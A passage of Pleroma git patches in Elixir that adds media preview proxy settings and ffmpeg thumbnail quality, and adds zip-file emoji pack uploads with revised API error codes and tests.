"Emoji \"blank3\" does not exist" - } - end - - test "update with empty shortcode", %{admin_conn: admin_conn} do - assert %{ - "error" => "Missing field: new_shortcode." - } = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) - end - end - describe "POST/DELETE /api/pleroma/emoji/packs/:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn -- cgit v1.2.3 From 4ee15e991efb5bd5bf69d84d27dbbee81443d1dc Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 19 Aug 2020 21:36:26 +0300 Subject: [#2497] Media preview proxy config refactoring & documentation. --- config/config.exs | 3 +- config/description.exs | 51 ++++++++++++++++++++++ .../web/media_proxy/media_proxy_controller.ex | 18 ++++---- 3 files changed, 62 insertions(+), 10 deletions(-) diff --git a/config/config.exs b/config/config.exs index 029f8ec20..6e6231cf8 100644 --- a/config/config.exs +++ b/config/config.exs @@ -444,8 +444,7 @@ thumbnail_max_width: 400, thumbnail_max_height: 200, proxy_opts: [ - head_request_max_read_duration: 5_000, - max_read_duration: 10_000 + head_request_max_read_duration: 5_000 ] config :pleroma, :chat, enabled: true diff --git a/config/description.exs b/config/description.exs index e27abf40f..90d8eca65 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1831,6 +1831,7 @@ suggestions: [ redirect_on_failure: false, max_body_length: 25 * 1_048_576, + max_read_duration: 30_000, http: [ follow_redirect: true, pool: :media @@ -1851,6 +1852,11 @@ "Limits the content length to be approximately the " <> "specified length. It is validated with the `content-length` header and also verified when proxying." }, + %{ + key: :max_read_duration, + type: :integer, + description: "Timeout (in milliseconds) of GET request to remote URI." + }, %{ key: :http, label: "HTTP", @@ -1897,6 +1903,51 @@ } ] }, + %{ + group: :pleroma, + key: :media_preview_proxy, + type: :group, + description: "Media preview proxy", + children: [ + %{ + key: :enabled, + type: :boolean, + description: + "Enables proxying of remote media preview to the instance's proxy. Requires enabled media proxy." + }, + %{ + key: :thumbnail_max_width, + type: :integer, + description: "Max width of preview thumbnail." + }, + %{ + key: :thumbnail_max_height, + type: :integer, + description: "Max height of preview thumbnail." + }, + %{ + key: :proxy_opts, + type: :keyword, + description: "Media proxy options", + suggestions: [ + head_request_max_read_duration: 5_000 + ], + children: [ + %{ + key: :head_request_max_read_duration, + type: :integer, + description: "Timeout (in milliseconds) of HEAD request to remote URI." + } + ] + }, + %{ + key: :whitelist, + type: {:list, :string}, + description: "List of hosts with scheme to bypass the mediaproxy", + suggestions: ["http://example.com"] + } + ] + }, %{ group: :pleroma, key: Pleroma.Web.MediaProxy.Invalidation.Http, diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 8861398dd..31d18c119 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -15,8 +15,7 @@ def remote(conn, %{"sig" => sig64, "url" => url64}) do {:ok, url} <- MediaProxy.decode_url(sig64, url64), {_, false} <- {:in_banned_urls, MediaProxy.in_banned_urls(url)}, :ok <- MediaProxy.verify_request_path_and_url(conn, url) do - proxy_opts = Config.get([:media_proxy, :proxy_opts], []) - ReverseProxy.call(conn, url, proxy_opts) + ReverseProxy.call(conn, url, media_proxy_opts()) else {:enabled, false} -> send_resp(conn, 404, Plug.Conn.Status.reason_phrase(404)) @@ -116,13 +115,16 @@ defp thumbnail_max_dimensions(params) do end defp preview_head_request_timeout do - Config.get([:media_preview_proxy, :proxy_opts, :head_request_max_read_duration]) || - preview_timeout() + Keyword.get(media_preview_proxy_opts(), :head_request_max_read_duration) || + Keyword.get(media_proxy_opts(), :max_read_duration) || + ReverseProxy.max_read_duration_default() end - defp preview_timeout do - Config.get([:media_preview_proxy, :proxy_opts, :max_read_duration]) || - Config.get([:media_proxy, :proxy_opts, :max_read_duration]) || - ReverseProxy.max_read_duration_default() + defp media_proxy_opts do + Config.get([:media_proxy, :proxy_opts], []) + end + + defp media_preview_proxy_opts do + Config.get([:media_preview_proxy, :proxy_opts], []) end end -- cgit v1.2.3 From 02ad1cd8e97c44824b92b53ea1879a965bbd8358 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 20 Aug 2020 09:58:50 +0300 Subject: [#2497] Media preview proxy: added Content-Disposition header with filename to response. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 31d18c119..5513432f0 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -87,6 +87,7 @@ defp handle_image_or_video_preview(%{params: params} = conn, url) do ) do conn |> put_resp_header("content-type", "image/jpeg") + |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") |> send_resp(200, thumbnail_binary) else _ -> -- cgit v1.2.3 From aa0a5ffb4849880b5adbcc9188de01ef778381e3 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 21 Aug 2020 08:59:08 +0300 Subject: [#2497] Media preview proxy: added `quality` config setting, adjusted width/height defaults. --- config/config.exs | 5 +++-- config/description.exs | 5 +++++ lib/pleroma/helpers/media_helper.ex | 6 ++++-- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 4 +++- 4 files changed, 15 insertions(+), 5 deletions(-) diff --git a/config/config.exs b/config/config.exs index 6e6231cf8..b399ce6d7 100644 --- a/config/config.exs +++ b/config/config.exs @@ -441,8 +441,9 @@ # Note: media preview proxy depends on media proxy to be enabled config :pleroma, :media_preview_proxy, enabled: false, - thumbnail_max_width: 400, - thumbnail_max_height: 200, + thumbnail_max_width: 600, + thumbnail_max_height: 600, + quality: 2, proxy_opts: [ head_request_max_read_duration: 5_000 ] diff --git a/config/description.exs b/config/description.exs index 90d8eca65..22da60900 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1925,6 +1925,11 @@ type: :integer, description: "Max height of preview thumbnail." }, + %{ + key: :quality, + type: :integer, + description: "Quality of the output. Ranges from 1 (max quality) to 31 (lowest quality)." + }, %{ key: :proxy_opts, type: :keyword, diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index ca46698cc..e11038052 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,13 +7,15 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ - def ffmpeg_resize(uri_or_path, %{max_width: max_width, max_height: max_height}) do + def ffmpeg_resize(uri_or_path, %{max_width: max_width, max_height: max_height} = options) do + quality = options[:quality] || 1 + cmd = ~s""" ffmpeg -i #{uri_or_path} -f lavfi -i color=c=white \ -filter_complex "[0:v] scale='min(#{max_width},iw)':'min(#{max_height},ih)': \ force_original_aspect_ratio=decrease [scaled]; \ [1][scaled] scale2ref [bg][img]; [bg] setsar=1 [bg]; [bg][img] overlay=shortest=1" \ - -loglevel quiet -f image2 -vcodec mjpeg -frames:v 1 pipe:1 + -loglevel quiet -f image2 -vcodec mjpeg -frames:v 1 -q:v #{quality} pipe:1 """ pid = Port.open({:spawn, cmd}, [:use_stdio, :in, :stream, :exit_status, :binary]) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 5513432f0..1c51aa5e3 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -78,12 +78,14 @@ defp handle_preview(content_type, conn, _url) do end defp handle_image_or_video_preview(%{params: params} = conn, url) do + quality = Config.get!([:media_preview_proxy, :quality]) + with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), media_proxy_url <- MediaProxy.url(url), {:ok, thumbnail_binary} <- MediaHelper.ffmpeg_resize( media_proxy_url, - %{max_width: thumbnail_max_width, max_height: thumbnail_max_height} + %{max_width: thumbnail_max_width, max_height: thumbnail_max_height, quality: quality} ) do conn |> put_resp_header("content-type", "image/jpeg") -- cgit v1.2.3 From 967afa064bb0dc85c054495b795a57a13cdf3b3c Mon Sep 17 00:00:00 2001 From: href Date: Fri, 21 Aug 2020 17:02:57 +0000 Subject: Fix truncated images --- lib/pleroma/helpers/media_helper.ex | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index e11038052..f87be8874 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -19,14 +19,24 @@ def ffmpeg_resize(uri_or_path, %{max_width: max_width, max_height: max_height} = """ pid = Port.open({:spawn, cmd}, [:use_stdio, :in, :stream, :exit_status, :binary]) + loop_recv(pid) + end + + defp loop_recv(pid) do + loop_recv(pid, <<>>) + end + defp loop_recv(pid, acc) do receive do {^pid, {:data, data}} -> - send(pid, {self(), :close}) - {:ok, data} + loop_recv(pid, acc <> data) - {^pid, {:exit_status, status}} when status > 0 -> + {^pid, {:exit_status, 0}} -> + {:ok, acc} + + {^pid, {:exit_status, status}} -> {:error, status} end end + end -- cgit v1.2.3 From 4e6eb22b4af70e611cc61f94ba3d81758036a392 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 21 Aug 2020 12:19:35 -0500 Subject: Try to warm the cache with the preview image if preview proxy enabled --- lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index dfab105a3..5d8bb72aa 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -27,7 +27,7 @@ def perform(:prefetch, url) do end url - |> MediaProxy.url() + |> MediaProxy.preview_url() |> HTTP.get([], adapter: opts) end -- cgit v1.2.3 From edde0d9b54b45a366ecdec01e9826f1ee8d1dc3a Mon Sep 17 00:00:00 2001 From: href Date: Fri, 21 Aug 2020 17:40:49 +0000 Subject: Remove newline for linter --- lib/pleroma/helpers/media_helper.ex | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index f87be8874..89dd4204b 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -38,5 +38,4 @@ defp loop_recv(pid, acc) do {:error, status} end end - end -- cgit v1.2.3 From f5845ff03395816902a637a28412f85e671575e7 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 22 Aug 2020 10:42:02 +0300 Subject: upload emoji zip file --- lib/pleroma/emoji/pack.ex | 112 ++++++++++++++++----- lib/pleroma/utils.ex | 18 ++++ .../operations/pleroma_emoji_file_operation.ex | 6 +- .../controllers/emoji_file_controller.ex | 42 ++++++-- test/fixtures/finland-emojis.zip | Bin 0 -> 460250 bytes .../controllers/emoji_file_controller_test.exs | 51 ++++++++-- 6 files changed, 190 insertions(+), 39 deletions(-) create mode 100644 test/fixtures/finland-emojis.zip diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index d076ae312..03aed33bb 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -17,6 +17,7 @@ defmodule Pleroma.Emoji.Pack do } alias Pleroma.Emoji + alias Pleroma.Emoji.Pack @spec create(String.t()) :: {:ok, t()} | {:error, File.posix()} | {:error, :empty_values} def create(name) do @@ -64,24 +65,93 @@ def delete(name) do end end - @spec add_file(String.t(), String.t(), Path.t(), Plug.Upload.t() | String.t()) :: - {:ok, t()} | {:error, File.posix() | atom()} - def add_file(name, shortcode, filename, file) do - with :ok <- validate_not_empty([name, shortcode, filename]), + @spec add_file(String.t(), String.t(), Path.t(), Plug.Upload.t()) :: + {:ok, t()} + | {:error, File.posix() | atom()} + def add_file(%Pack{} = pack, _, _, %Plug.Upload{content_type: "application/zip"} = file) do + with {:ok, zip_items} <- :zip.table(to_charlist(file.path)) do + emojies = + for {_, path, s, _, _, _} <- zip_items, elem(s, 2) == :regular do + filename = Path.basename(path) + shortcode = Path.basename(filename, Path.extname(filename)) + + %{ + path: path, + filename: path, + shortcode: shortcode, + exist: not is_nil(Pleroma.Emoji.get(shortcode)) + } + end + |> Enum.group_by(& &1[:exist]) + + case Map.get(emojies, false, []) do + [_ | _] = new_emojies -> + {:ok, tmp_dir} = Pleroma.Utils.tmp_dir("emoji") + + try do + {:ok, _emoji_files} = + :zip.unzip( + to_charlist(file.path), + [ + {:file_list, Enum.map(new_emojies, & &1[:path])}, + {:cwd, tmp_dir} + ] + ) + + {_, updated_pack} = + Enum.map_reduce(new_emojies, pack, fn item, emoji_pack -> + emoji_file = %Plug.Upload{ + filename: item[:filename], + path: Path.join(tmp_dir, item[:path]) + } + + {:ok, updated_pack} = + do_add_file( + emoji_pack, + item[:shortcode], + to_string(item[:filename]), + emoji_file + ) + + {item, updated_pack} + end) + + Emoji.reload() + + {:ok, updated_pack} + after + File.rm_rf(tmp_dir) + end + + _ -> + {:ok, pack} + end + end + end + + def add_file(%Pack{} = pack, shortcode, filename, file) do + with :ok <- validate_not_empty([shortcode, filename]), :ok <- validate_emoji_not_exists(shortcode), - {:ok, pack} <- load_pack(name), - :ok <- save_file(file, pack, filename), - {:ok, updated_pack} <- pack |> put_emoji(shortcode, filename) |> save_pack() do + {:ok, updated_pack} <- do_add_file(pack, shortcode, filename, file) do Emoji.reload() {:ok, updated_pack} end end - @spec delete_file(String.t(), String.t()) :: + defp do_add_file(pack, shortcode, filename, file) do + with :ok <- save_file(file, pack, filename), + {:ok, updated_pack} <- + pack + |> put_emoji(shortcode, filename) + |> save_pack() do + {:ok, updated_pack} + end + end + + @spec delete_file(t(), String.t()) :: {:ok, t()} | {:error, File.posix() | atom()} - def delete_file(name, shortcode) do - with :ok <- validate_not_empty([name, shortcode]), - {:ok, pack} <- load_pack(name), + def delete_file(%Pack{} = pack, shortcode) do + with :ok <- validate_not_empty([shortcode]), :ok <- remove_file(pack, shortcode), {:ok, updated_pack} <- pack |> delete_emoji(shortcode) |> save_pack() do Emoji.reload() @@ -89,11 +159,10 @@ def delete_file(name, shortcode) do end end - @spec update_file(String.t(), String.t(), String.t(), String.t(), boolean()) :: + @spec update_file(t(), String.t(), String.t(), String.t(), boolean()) :: {:ok, t()} | {:error, File.posix() | atom()} - def update_file(name, shortcode, new_shortcode, new_filename, force) do - with :ok <- validate_not_empty([name, shortcode, new_shortcode, new_filename]), - {:ok, pack} <- load_pack(name), + def update_file(%Pack{} = pack, shortcode, new_shortcode, new_filename, force) do + with :ok <- validate_not_empty([shortcode, new_shortcode, new_filename]), {:ok, filename} <- get_filename(pack, shortcode), :ok <- validate_emoji_not_exists(new_shortcode, force), :ok <- rename_file(pack, filename, new_filename), @@ -386,19 +455,12 @@ defp validate_not_empty(list) do end end - defp save_file(file, pack, filename) do + defp save_file(%Plug.Upload{path: upload_path}, pack, filename) do file_path = Path.join(pack.path, filename) create_subdirs(file_path) - case file do - %Plug.Upload{path: upload_path} -> - # Copy the uploaded file from the temporary directory - with {:ok, _} <- File.copy(upload_path, file_path), do: :ok - - url when is_binary(url) -> - # Download and write the file - file_contents = Tesla.get!(url).body - File.write(file_path, file_contents) + with {:ok, _} <- File.copy(upload_path, file_path) do + :ok end end diff --git a/lib/pleroma/utils.ex b/lib/pleroma/utils.ex index 21d1159be..fcb8c64c7 100644 --- a/lib/pleroma/utils.ex +++ b/lib/pleroma/utils.ex @@ -24,4 +24,22 @@ def compile_dir(dir) when is_binary(dir) do def command_available?(command) do match?({_output, 0}, System.cmd("sh", ["-c", "command -v #{command}"])) end + + @doc "creates the uniq temporary directory" + @spec tmp_dir(String.t()) :: {:ok, String.t()} | {:error, :file.posix()} + def tmp_dir(prefix \\ "") do + sub_dir = [ + prefix, + Timex.to_unix(Timex.now()), + :os.getpid(), + String.downcase(Integer.to_string(:rand.uniform(0x100000000), 36)) + ] + + tmp_dir = Path.join(System.tmp_dir!(), Enum.join(sub_dir, "-")) + + case File.mkdir(tmp_dir) do + :ok -> {:ok, tmp_dir} + error -> error + end + end end diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex index b6932157a..7dd4ce311 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex @@ -24,6 +24,8 @@ def create_operation do parameters: [name_param()], responses: %{ 200 => Operation.response("Files Object", "application/json", files_object()), + 422 => Operation.response("Unprocessable Entity", "application/json", ApiError), + 404 => Operation.response("Not Found", "application/json", ApiError), 400 => Operation.response("Bad Request", "application/json", ApiError), 409 => Operation.response("Conflict", "application/json", ApiError) } @@ -67,6 +69,7 @@ def update_operation do parameters: [name_param()], responses: %{ 200 => Operation.response("Files Object", "application/json", files_object()), + 404 => Operation.response("Not Found", "application/json", ApiError), 400 => Operation.response("Bad Request", "application/json", ApiError), 409 => Operation.response("Conflict", "application/json", ApiError) } @@ -114,7 +117,8 @@ def delete_operation do ], responses: %{ 200 => Operation.response("Files Object", "application/json", files_object()), - 400 => Operation.response("Bad Request", "application/json", ApiError) + 400 => Operation.response("Bad Request", "application/json", ApiError), + 404 => Operation.response("Not Found", "application/json", ApiError) } } end diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex index ba9f07795..d10f46fde 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex @@ -22,7 +22,9 @@ def create(%{body_params: params} = conn, %{name: pack_name}) do filename = params[:filename] || get_filename(params[:file]) shortcode = params[:shortcode] || Path.basename(filename, Path.extname(filename)) - with {:ok, pack} <- Pack.add_file(pack_name, shortcode, filename, params[:file]) do + with {:ok, pack} <- Pack.load_pack(pack_name), + {:ok, file} <- get_file(params[:file]), + {:ok, pack} <- Pack.add_file(pack, shortcode, filename, file) do json(conn, pack.files) else {:error, :already_exists} -> @@ -32,12 +34,12 @@ def create(%{body_params: params} = conn, %{name: pack_name}) do {:error, :not_found} -> conn - |> put_status(:bad_request) + |> put_status(:not_found) |> json(%{error: "pack \"#{pack_name}\" is not found"}) {:error, :empty_values} -> conn - |> put_status(:bad_request) + |> put_status(:unprocessable_entity) |> json(%{error: "pack name, shortcode or filename cannot be empty"}) {:error, _} -> @@ -54,7 +56,8 @@ def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack new_filename = params[:new_filename] force = params[:force] - with {:ok, pack} <- Pack.update_file(pack_name, shortcode, new_shortcode, new_filename, force) do + with {:ok, pack} <- Pack.load_pack(pack_name), + {:ok, pack} <- Pack.update_file(pack, shortcode, new_shortcode, new_filename, force) do json(conn, pack.files) else {:error, :doesnt_exist} -> @@ -72,7 +75,7 @@ def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack {:error, :not_found} -> conn - |> put_status(:bad_request) + |> put_status(:not_found) |> json(%{error: "pack \"#{pack_name}\" is not found"}) {:error, :empty_values} -> @@ -90,7 +93,8 @@ def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack end def delete(conn, %{name: pack_name, shortcode: shortcode}) do - with {:ok, pack} <- Pack.delete_file(pack_name, shortcode) do + with {:ok, pack} <- Pack.load_pack(pack_name), + {:ok, pack} <- Pack.delete_file(pack, shortcode) do json(conn, pack.files) else {:error, :doesnt_exist} -> @@ -100,7 +104,7 @@ def delete(conn, %{name: pack_name, shortcode: shortcode}) do {:error, :not_found} -> conn - |> put_status(:bad_request) + |> put_status(:not_found) |> json(%{error: "pack \"#{pack_name}\" is not found"}) {:error, :empty_values} -> @@ -119,4 +123,28 @@ def delete(conn, %{name: pack_name, shortcode: shortcode}) do defp get_filename(%Plug.Upload{filename: filename}), do: filename defp get_filename(url) when is_binary(url), do: Path.basename(url) + + def get_file(%Plug.Upload{} = file), do: {:ok, file} + + def get_file(url) when is_binary(url) do + with {:ok, %Tesla.Env{body: body, status: code, headers: headers}} + when code in 200..299 <- Pleroma.HTTP.get(url) do + path = Plug.Upload.random_file!("emoji") + + content_type = + case List.keyfind(headers, "content-type", 0) do + {"content-type", value} -> value + nil -> nil + end + + File.write(path, body) + + {:ok, + %Plug.Upload{ + filename: Path.basename(url), + path: path, + content_type: content_type + }} + end + end end diff --git a/test/fixtures/finland-emojis.zip b/test/fixtures/finland-emojis.zip new file mode 100644 index 000000000..de7242ea1 Binary files /dev/null and b/test/fixtures/finland-emojis.zip differ diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 56be130be..827a4c374 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -41,6 +41,45 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do :ok end + test "upload zip file with emojies", %{admin_conn: admin_conn} do + on_exit(fn -> + [ + "128px/a_trusted_friend-128.png", + "auroraborealis.png", + "1000px/baby_in_a_box.png", + "1000px/bear.png", + "128px/bear-128.png" + ] + |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) + end) + + resp = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + file: %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/finland-emojis.zip") + } + }) + |> json_response_and_validate_schema(200) + + assert resp == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + Enum.each(Map.values(resp), fn path -> + assert File.exists?("#{@emoji_path}/test_pack/#{path}") + end) + end + test "create shortcode exists", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") @@ -140,7 +179,7 @@ test "with empty filename", %{admin_conn: admin_conn} do path: "#{@emoji_path}/test_pack/blank.png" } }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(422) == %{ "error" => "pack name, shortcode or filename cannot be empty" } end @@ -156,7 +195,7 @@ test "add file with not loaded pack", %{admin_conn: admin_conn} do path: "#{@emoji_path}/test_pack/blank.png" } }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end @@ -164,7 +203,7 @@ test "add file with not loaded pack", %{admin_conn: admin_conn} do test "remove file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end @@ -172,8 +211,8 @@ test "remove file with not loaded pack", %{admin_conn: admin_conn} do test "remove file with empty shortcode", %{admin_conn: admin_conn} do assert admin_conn |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name or shortcode cannot be empty" + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" } end @@ -185,7 +224,7 @@ test "update file with not loaded pack", %{admin_conn: admin_conn} do new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" }) - |> json_response_and_validate_schema(:bad_request) == %{ + |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } end -- cgit v1.2.3 From 0922791e4d2233d527dda23e66a952e3f359a3fe Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 22 Aug 2020 10:56:26 +0300 Subject: updated errors on add emoji --- .../operations/pleroma_emoji_file_operation.ex | 6 +- .../controllers/emoji_file_controller.ex | 73 +++++++++------------- 2 files changed, 32 insertions(+), 47 deletions(-) diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex index 7dd4ce311..efbfce75f 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex @@ -71,7 +71,8 @@ def update_operation do 200 => Operation.response("Files Object", "application/json", files_object()), 404 => Operation.response("Not Found", "application/json", ApiError), 400 => Operation.response("Bad Request", "application/json", ApiError), - 409 => Operation.response("Conflict", "application/json", ApiError) + 409 => Operation.response("Conflict", "application/json", ApiError), + 422 => Operation.response("Unprocessable Entity", "application/json", ApiError) } } end @@ -118,7 +119,8 @@ def delete_operation do responses: %{ 200 => Operation.response("Files Object", "application/json", files_object()), 400 => Operation.response("Bad Request", "application/json", ApiError), - 404 => Operation.response("Not Found", "application/json", ApiError) + 404 => Operation.response("Not Found", "application/json", ApiError), + 422 => Operation.response("Unprocessable Entity", "application/json", ApiError) } } end diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex index d10f46fde..71c53df1d 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex @@ -32,22 +32,13 @@ def create(%{body_params: params} = conn, %{name: pack_name}) do |> put_status(:conflict) |> json(%{error: "An emoji with the \"#{shortcode}\" shortcode already exists"}) - {:error, :not_found} -> - conn - |> put_status(:not_found) - |> json(%{error: "pack \"#{pack_name}\" is not found"}) - {:error, :empty_values} -> conn |> put_status(:unprocessable_entity) |> json(%{error: "pack name, shortcode or filename cannot be empty"}) - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while adding file to pack." - ) + {:error, _} = error -> + handle_error(conn, error, %{pack_name: pack_name}) end end @@ -60,11 +51,6 @@ def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack {:ok, pack} <- Pack.update_file(pack, shortcode, new_shortcode, new_filename, force) do json(conn, pack.files) else - {:error, :doesnt_exist} -> - conn - |> put_status(:bad_request) - |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) - {:error, :already_exists} -> conn |> put_status(:conflict) @@ -73,22 +59,13 @@ def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack "New shortcode \"#{new_shortcode}\" is already used. If you want to override emoji use 'force' option" }) - {:error, :not_found} -> - conn - |> put_status(:not_found) - |> json(%{error: "pack \"#{pack_name}\" is not found"}) - {:error, :empty_values} -> conn - |> put_status(:bad_request) + |> put_status(:unprocessable_entity) |> json(%{error: "new_shortcode or new_filename cannot be empty"}) - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while updating file in pack." - ) + {:error, _} = error -> + handle_error(conn, error, %{pack_name: pack_name, code: shortcode}) end end @@ -97,30 +74,36 @@ def delete(conn, %{name: pack_name, shortcode: shortcode}) do {:ok, pack} <- Pack.delete_file(pack, shortcode) do json(conn, pack.files) else - {:error, :doesnt_exist} -> - conn - |> put_status(:bad_request) - |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) - - {:error, :not_found} -> - conn - |> put_status(:not_found) - |> json(%{error: "pack \"#{pack_name}\" is not found"}) - {:error, :empty_values} -> conn - |> put_status(:bad_request) + |> put_status(:unprocessable_entity) |> json(%{error: "pack name or shortcode cannot be empty"}) - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while removing file from pack." - ) + {:error, _} = error -> + handle_error(conn, error, %{pack_name: pack_name, code: shortcode}) end end + defp handle_error(conn, {:error, :doesnt_exist}, %{code: emoji_code}) do + conn + |> put_status(:bad_request) + |> json(%{error: "Emoji \"#{emoji_code}\" does not exist"}) + end + + defp handle_error(conn, {:error, :not_found}, %{pack_name: pack_name}) do + conn + |> put_status(:not_found) + |> json(%{error: "pack \"#{pack_name}\" is not found"}) + end + + defp handle_error(conn, {:error, _}, _) do + render_error( + conn, + :internal_server_error, + "Unexpected error occurred while adding file to pack." + ) + end + defp get_filename(%Plug.Upload{filename: filename}), do: filename defp get_filename(url) when is_binary(url), do: Path.basename(url) -- cgit v1.2.3 From 98f8851f29f940051656caa1715820bce70f8c29 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Sat, 22 Aug 2020 15:12:11 -0500 Subject: Use the image thumbnail for rich metadata (OGP/Twittercards) --- lib/pleroma/web/metadata/utils.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex index 2f0dfb474..8a206e019 100644 --- a/lib/pleroma/web/metadata/utils.ex +++ b/lib/pleroma/web/metadata/utils.ex @@ -38,7 +38,7 @@ def scrub_html(content) when is_binary(content) do def scrub_html(content), do: content def attachment_url(url) do - MediaProxy.url(url) + MediaProxy.preview_url(url) end def user_name_string(user) do -- cgit v1.2.3 From 